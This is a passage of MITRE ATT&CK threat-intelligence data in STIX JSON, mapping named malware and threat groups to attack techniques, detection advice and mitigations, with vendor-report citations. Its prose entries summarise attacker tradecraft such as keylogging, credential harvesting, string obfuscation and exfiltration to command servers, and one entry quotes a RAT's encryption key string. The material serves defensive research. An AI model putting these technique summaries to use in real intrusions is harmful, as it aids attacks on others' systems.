victims with e-mails containing malicious attachments.(Citation: Visa FIN6 Feb 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e1de5dd-5f5c-4014-899b-0ab676322d80","type":"relationship","created":"2020-12-07T20:19:26.938Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T20:19:26.938Z","description":"[Crutch](https://attack.mitre.org/software/S0538) can monitor for removable drives being plugged into the compromised machine.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e1e4e48-7a84-465e-8ac3-fe696b5e6f54","type":"relationship","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.837Z","description":"Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by a file type association.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e228243-0539-4315-9443-289ed5f7ab10","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for changes made to the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as Modify System Image.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 3","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"}],"modified":"2020-03-20T22:39:44.307Z","description":"[Downdelph](https://attack.mitre.org/software/S0134) inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"malware--08d20cd2-f084-45ee-8558-fa6ef5a18519","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e2c026d-042b-4ccb-b2d1-8ca6308ea506","created":"2024-09-23T20:42:30.005Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:42:30.005Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used obfuscated VBScripts with randomly generated variable names and concatenated strings.(Citation: unit42_gamaredon_dec2022) ","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e35d2ce-3af7-4645-b795-382a75d62fb9","type":"relationship","created":"2022-03-25T19:19:56.304Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Ukraine Wipers February 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia","description":"Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022."}],"modified":"2022-03-25T19:19:56.304Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to use scheduled tasks for execution.(Citation: Symantec Ukraine Wipers February 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e37d046-454c-4463-b27f-f348ef6f817e","type":"relationship","created":"2020-10-30T20:13:40.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Kimsuky September 2020","url":"https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/","description":"ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."},{"source_name":"VirusBulletin Kimsuky October 2019","url":"https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/","description":"Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."},{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."},{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."},{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."},{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"modified":"2022-02-09T15:31:23.866Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used attempted to lure victims into opening malicious e-mail attachments.(Citation: ThreatConnect Kimsuky September 2020)(Citation: VirusBulletin Kimsuky October 2019)(Citation: CISA AA20-301A Kimsuky)(Citation: Cybereason Kimsuky November 2020)(Citation: Malwarebytes Kimsuky June 2021)(Citation: Talos Kimsuky Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e39ec08-1dc8-4152-9d21-dafb8df34f2c","type":"relationship","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.854Z","description":"Monitor for newly executed processes that may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hybrid Analysis Icacls1 June 2018","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"},{"source_name":"Hybrid Analysis Icacls2 May 2018","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e3d54bf-90de-450d-af1c-c4372488b4f8","type":"relationship","created":"2021-10-14T20:22:46.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}],"modified":"2021-10-14T20:22:46.742Z","description":"[Clop](https://attack.mitre.org/software/S0611) has used a simple XOR operation to decrypt strings.(Citation: Mcafee Clop Aug 2019)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e3ea008-1a5e-4f58-aaa9-4da690539908","type":"relationship","created":"2020-07-27T17:47:34.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-08-10T19:52:05.912Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) can automatically exfiltrate collected documents to the C2 server.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e4407b6-fa67-48a7-97c5-f0bff5112912","type":"relationship","created":"2020-03-20T19:53:25.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-20T19:53:25.794Z","relationship_type":"revoked-by","source_ref":"attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e46421a-6804-488e-adad-42cac34065be","type":"relationship","created":"2019-04-23T14:59:04.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:48.986Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains modules for searching for passwords in local and remote files.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e472133-290f-42f3-9dd3-104b7ba978d2","created":"2024-02-21T19:26:48.111Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:26:48.111Z","description":"[Akira](https://attack.mitre.org/groups/G1024) has accessed and downloaded information stored in SharePoint instances as part of data gathering and exfiltration activity.(Citation: Secureworks GOLD SAHARA)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e4c55fc-a923-4c05-89ce-3102620a41d7","type":"relationship","created":"2020-05-22T19:37:14.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Chafer February 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."},{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-11T15:57:09.779Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used various tools to steal files from the compromised host.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e530e67-4e80-412f-8b38-fbc14085f05c","type":"relationship","created":"2020-02-21T18:55:42.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T12:21:11.297Z","description":"Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. ","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e58b447-7b3e-404c-b8e5-003734c34574","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.457Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) has a keylogger.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e5b4489-d480-4f42-aadb-0eeb45ad6bc0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2019-06-24T19:07:12.674Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) searches for files named logins.json to parse for credentials.(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e630f6b-8662-4ffe-b666-709e17aad69f","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-30T18:34:04.182Z","description":"[3PARA RAT](https://attack.mitre.org/software/S0066) command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS. [3PARA RAT](https://attack.mitre.org/software/S0066) will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS if the DES decoding fails(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e686457-461d-496b-b838-dc8ca57a9f32","type":"relationship","created":"2019-06-13T16:53:10.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-27T19:56:54.689Z","description":" Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e6d61e2-7b61-4b6c-85c7-7779125c1d14","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.836Z","description":"(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e6d6b87-84fe-49ed-9b85-cf3cdfa36820","created":"2019-01-30T15:33:07.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"},{"source_name":"McAfee Oceansalt Oct 2018","description":"Sherstobitoff, R., Malhotra, A. (2018, October 18). ‘Operation Oceansalt’ Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.854Z","description":"(Citation: Mandiant APT1 Appendix)(Citation: McAfee Oceansalt Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e7062b4-4010-4806-afcb-299ddef0c31c","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T21:23:12.371Z","description":"Monitor for an attempt by a user to gain access to a network or computing resource, often by the use of domain authentication services, such as the System Security Services Daemon (sssd) on Linux\n\nNote:\n\n- For Windows, Security Logs events, including Event ID 4624, can be monitored to track user login behavior.\n- For Linux, auditing frameworks that support File Integrity Monitoring (FIM), including the audit daemon (auditd), can be used to alert on changes to files that store login information. These files include: /etc/login.defs, /etc/securetty, /var/log/faillog, /var/log/lastlog, /var/log/tallylog.\n- For MacOS, auditing frameworks that support capturing information on user logins, such as OSQuery, can be used to audit user account logins and authentications. ","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e70e0ae-e2ef-4bba-9616-9dedd18d09a4","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor processes and command-line arguments to see if critical processes are terminated or stop running.","source_ref":"x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0e714323-a3b6-4848-852c-5e35608d0970","created":"2023-04-08T17:10:28.147Z","revoked":false,"external_references":[{"source_name":"Cyble Black Basta May 2022","description":"Cyble. (2022, May 6). New ransomware variant targeting high-value organizations. Retrieved March 7, 2023.","url":"https://blog.cyble.com/2022/05/06/black-basta-ransomware/"},{"source_name":"Minerva Labs Black Basta May 2022","description":"Zargarov, N. (2022, May 2). New Black Basta Ransomware Hijacks Windows Fax Service. Retrieved March 7, 2023.","url":"https://minerva-labs.com/blog/new-black-basta-ransomware-hijacks-windows-fax-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-08T17:10:28.147Z","description":"[Black Basta](https://attack.mitre.org/software/S1070) can enumerate volumes and collect system boot configuration and CPU information.(Citation: Minerva Labs Black Basta May 2022)(Citation: Cyble Black Basta May 2022)","relationship_type":"uses","source_ref":"malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0e7cace2-18db-4068-8a99-3dc66ed24741","created":"2022-08-07T15:12:21.590Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes SideCopy Dec 2021","url":"https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure","description":"Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Action RAT](https://attack.mitre.org/software/S1028) has the ability to download additional payloads onto an infected machine.(Citation: MalwareBytes SideCopy Dec 2021)","modified":"2022-08-24T16:12:05.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--36801ffb-5c85-4c50-9121-6122e389366d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0e7ce20c-1a4f-4361-a954-1d7a164baca1","type":"relationship","created":"2020-06-24T23:51:51.525Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:10.215Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used wmic.exe and Windows Registry modifications to set the COR_PROFILER environment variable to execute a 